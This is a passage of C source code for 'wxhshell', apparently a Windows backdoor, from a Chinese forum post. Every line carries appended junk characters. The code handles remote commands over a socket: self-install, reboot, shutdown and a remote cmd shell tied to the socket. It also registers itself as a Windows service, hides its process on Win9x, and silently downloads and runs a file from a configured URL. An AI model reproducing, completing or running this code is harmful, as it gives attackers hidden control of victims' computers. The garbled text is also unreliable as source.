      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); trE{FT  
    break; #pcP!  
  } :T9< d er,  
  // 安装 %u;~kP|S%  
  case 'i': { z2Z^~, i  
    if(Install()) 7=(Hy\Q5xH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U4G`ZK v(!  
    else qY[xpm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 41SGWAd#:  
    break; ? R>h `  
    } fU!<HD h  
  // 卸载 9uWY@zu  
  case 'r': { zRPeNdX  
    if(Uninstall()) vB+ '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zdn~`Q{  
    else "1, pHR-+R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0T46sm r  
    break; 'fPdpnJ<  
    } r [ K5w  
  // 显示 wxhshell 所在路径 @g G<le6  
  case 'p': { ES40?o*]x  
    char svExeFile[MAX_PATH]; w|Nz_3tI  
    strcpy(svExeFile,"\n\r"); In[Cr/&/Y  
      strcat(svExeFile,ExeFile); #h/Mbj~S  
        send(wsh,svExeFile,strlen(svExeFile),0); O`vTnrY  
    break; Zkf0p9h\  
    } DfKr[cqLM  
  // 重启 FN[{s  
  case 'b': { yeHDa+}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VWO9=A*Y|  
    if(Boot(REBOOT)) o: ;"w"G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 Us5  
    else { zz& ?{vJ  
    closesocket(wsh); cYqfsd# B  
    ExitThread(0); ~jsLqY*(+  
    } "9n3VX)  
    break;  wd)jl%  
    } /@|/^vld  
  // 关机 f^VP/rdg  
  case 'd': { o;?/HE%,[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 85GKymz$P  
    if(Boot(SHUTDOWN)) NB<A>baL*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/n,,!  
    else { Z> r^SWL  
    closesocket(wsh); 5# K4bA  
    ExitThread(0); %AQIGBcgL  
    } $1v&azM.  
    break; k?'B*L_Mzv  
    } ?Ae ve n  
  // 获取shell 4rrSb*  
  case 's': { /d%=E  
    CmdShell(wsh); B7!3-1<k>  
    closesocket(wsh); !o$!Frc  
    ExitThread(0); aE2.L;Tk?  
    break; t]-5 ]oI  
  } [p<w._b i  
  // 退出 ^yOZArc'r  
  case 'x': { 4R\ Hpt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tToTxf~  
    CloseIt(wsh); 7nuU^wc  
    break; AnT3M.>ek  
    } p|]\P%,\  
  // 离开 tPF.r  
  case 'q': { g1( IR)U!z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /E\%>wv  
    closesocket(wsh); [KxF'mz9  
    WSACleanup(); C 9t4#"  
    exit(1); S9#)A->  
    break; h2D>;k  
        } %V nbmoO  
  } >FkWH7  
  } 6H7],aMg$A  
4#l o$#  
  // 提示信息 9 yfJVg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q|),`.eh\  
} Q@HopiC  
  } V 0rZz  
}I>tO9M  
  return; LEtG|3Dx  
} 8e(\%bX  
L+q/){Dd(  
// shell模块句柄 >:b Q  
int CmdShell(SOCKET sock) >qF CB\(  
{ ^- d%r  
STARTUPINFO si; -(=eM3o-9m  
ZeroMemory(&si,sizeof(si)); 3p'I5,}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^N)R=tl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gdQvp=v]  
PROCESS_INFORMATION ProcessInfo; zOiu5  
char cmdline[]="cmd"; 1Yn +<I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S.f5v8  
  return 0; %ALwz[~]  
} 1{JV}O  
O`<KwUx !  
// 自身启动模式 j{Q9{}<e  
int StartFromService(void) >=-(UA  
{ hr)B[<9  
typedef struct aYSCw 3C<  
{ t)}scf&^x  
  DWORD ExitStatus; ;-qO'V:;  
  DWORD PebBaseAddress; 9c("x%nLpB  
  DWORD AffinityMask;  .P"D  
  DWORD BasePriority; c(~[$)i6  
  ULONG UniqueProcessId; T]c%!&^ _  
  ULONG InheritedFromUniqueProcessId; lx7Q.su'  
}   PROCESS_BASIC_INFORMATION; XD2v*l|Po  
Kuu *&u  
PROCNTQSIP NtQueryInformationProcess; AQwdw>I-FX  
$F5 b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bXNk%W[n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Sj9%2'M)  
H|HYo\@F#  
  HANDLE             hProcess; Bn &Ws  
  PROCESS_BASIC_INFORMATION pbi; q1KZ5G)6GJ  
\}|o1Xh2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sxh]R+Xb  
  if(NULL == hInst ) return 0; Iepsz  
r<d_[?1N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jIyB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~S,,w1`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");   #^A*  
c$yk s  
  if (!NtQueryInformationProcess) return 0; }|8_9Rx0*  
 cHk)i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )`(p9@,V  
  if(!hProcess) return 0; #$8% w  
", KCCis  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $cU!m(SILQ  
$arK(  
  CloseHandle(hProcess); 5l UF7:A>#  
%#xaA'? [  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2$ze= /l  
if(hProcess==NULL) return 0; #ZrHsf P  
/k,-P  
HMODULE hMod; 7Bd-!$j+  
char procName[255];  KJaXg;,H  
unsigned long cbNeeded; yj.7'{mA  
7E79-r&n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fy@<&U5rg  
%2{ %Obp'  
  CloseHandle(hProcess); |#cm`v  
=V-|#j  
if(strstr(procName,"services")) return 1; // 以服务启动 TI,&!E?;  
e9U9Uu[  
  return 0; // 注册表启动 ?Yth0O6?sb  
} Ku} Z  
(Hb:?(  
// 主模块 4i(JZN?  
int StartWxhshell(LPSTR lpCmdLine) UKT%13CO4U  
{ FWG6uKv  
  SOCKET wsl; 3@$,s~+ 3  
BOOL val=TRUE;  VoWNW  
  int port=0; 67G?K;)e  
  struct sockaddr_in door; Zy?Hi`  
l:,'j@%  
  if(wscfg.ws_autoins) Install(); ?!d&E ?9\  
QLiu2U o  
port=atoi(lpCmdLine); 8y.wSu  
gf &Pn  
if(port<=0) port=wscfg.ws_port; 1;Cyz)  
LcTt)rs f  
  WSADATA data; O @j} K4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ':3 pq2{  
R5 - @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P"IPcT%Ob%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %u5L!W&  
  door.sin_family = AF_INET; CFMo)"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RbP6F*f  
  door.sin_port = htons(port); '}Z~JYa0  
Q/(K$6]j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lvBx\e;7P  
closesocket(wsl); koZ*+VP=  
return 1; jD<{t  
} uXJ;A *  
/-_h1.!   
  if(listen(wsl,2) == INVALID_SOCKET) { )f[ B6Y  
closesocket(wsl); =C8?M  
return 1; EIf5(/jo  
} }J:U=HJ  
  Wxhshell(wsl); :~tAUy":_*  
  WSACleanup(); #FCnA  
Ybs\ES'?A  
return 0; %7IugHH9y  
p93r'&Q  
} t\k$};qJ  
 #~2%)  
// 以NT服务方式启动 7byK{{/z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cz\e w B  
{ _/-jX  
DWORD   status = 0; g(qJN<R C/  
  DWORD   specificError = 0xfffffff; jHE}qE~>5  
S >X:ZYYC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =S+wCN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;o2$ Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m.# VYN`+A  
  serviceStatus.dwWin32ExitCode     = 0; M/>7pZW  
  serviceStatus.dwServiceSpecificExitCode = 0; hKLCJ#T  
  serviceStatus.dwCheckPoint       = 0; |,gc_G  
  serviceStatus.dwWaitHint       = 0; 2Mc3|T4)U  
1PQ~jfGi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nYR#  
  if (hServiceStatusHandle==0) return; Wz49i9e+d  
[q) 8N  
status = GetLastError(); bMg(B-uF7  
  if (status!=NO_ERROR) Ui_8)z _  
{ |ef7bKU8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eTI%^d|  
    serviceStatus.dwCheckPoint       = 0; aQ?/%\>  
    serviceStatus.dwWaitHint       = 0; \r^qL^  
    serviceStatus.dwWin32ExitCode     = status; }Gz~nf%  
    serviceStatus.dwServiceSpecificExitCode = specificError; B}Z63|/N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MDhRR*CBh  
    return; |:q=T ~x  
  } v7BA[jQr  
lYVz 3p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dx5#\"KX=,  
  serviceStatus.dwCheckPoint       = 0; A&.WH?p  
  serviceStatus.dwWaitHint       = 0; {5U{8b]k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o{* e'4  
} 0QXVW}`hz  
"}u.v?HYz  
// 处理NT服务事件,比如:启动、停止 M -cTRd-i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v5!d$Vctu  
{ [842&5Pd?  
switch(fdwControl) h)ECf?r<  
{ QR c{vUR&  
case SERVICE_CONTROL_STOP: w28o}$b`  
  serviceStatus.dwWin32ExitCode = 0; @=bLDTx;c)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q('r<v96  
  serviceStatus.dwCheckPoint   = 0; jSh5!6O  
  serviceStatus.dwWaitHint     = 0; ddJQC|xR}  
  { >kj`7GA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qON|4+~u%  
  } R&8Iz yM  
  return; cs,N <|  
case SERVICE_CONTROL_PAUSE: +%zAQeb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7 E r23Q  
  break; V+* P2|  
case SERVICE_CONTROL_CONTINUE: q8X feoUV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]fx"4qKM  
  break; T*8VDY7  
case SERVICE_CONTROL_INTERROGATE: >BIMi^  
  break; #|Y5,a ,{  
}; ][gq#Vx@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3GaQk-  
} 5,3'=mA6  
hm84Aq= f  
// 标准应用程序主函数 q+H%)kF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6]V4muz#c  
{ bU>U14ix<  
*g:4e3Iy  
// 获取操作系统版本 Fsmycr!R  
OsIsNt=GetOsVer(); I WTwz!+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lGV0 *Cji  
/f:dv?!km  
  // 从命令行安装 =)M/@T  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hu\B"fdS  
UldXYtGe  
  // 下载执行文件 2 Wt> Mi  
if(wscfg.ws_downexe) { "9ZID-~]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N=4G=0 `ke  
  WinExec(wscfg.ws_filenam,SW_HIDE); MW! srTQ_  
} *]ly0nP  
y?[ v=j*U  
if(!OsIsNt) { Pu7_ v  
// 如果时win9x,隐藏进程并且设置为注册表启动 r@72|:,  
HideProc(); "Q}#^h]F  
StartWxhshell(lpCmdLine); ^ZvWR%  
} sv: 9clJ  
else nno}e/zqf  
  if(StartFromService()) 6LOnU~l,  
  // 以服务方式启动 &vo--V1|  
  StartServiceCtrlDispatcher(DispatchTable); 9v;Vv0k_  
else Od)Uv1  
  // 普通方式启动 EY^1Y3D w0  
  StartWxhshell(lpCmdLine); j#X.KM   
s [M?as  
return 0; N+m)/x =:  
}
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只看该作者 1 发表于: 2006-10-10
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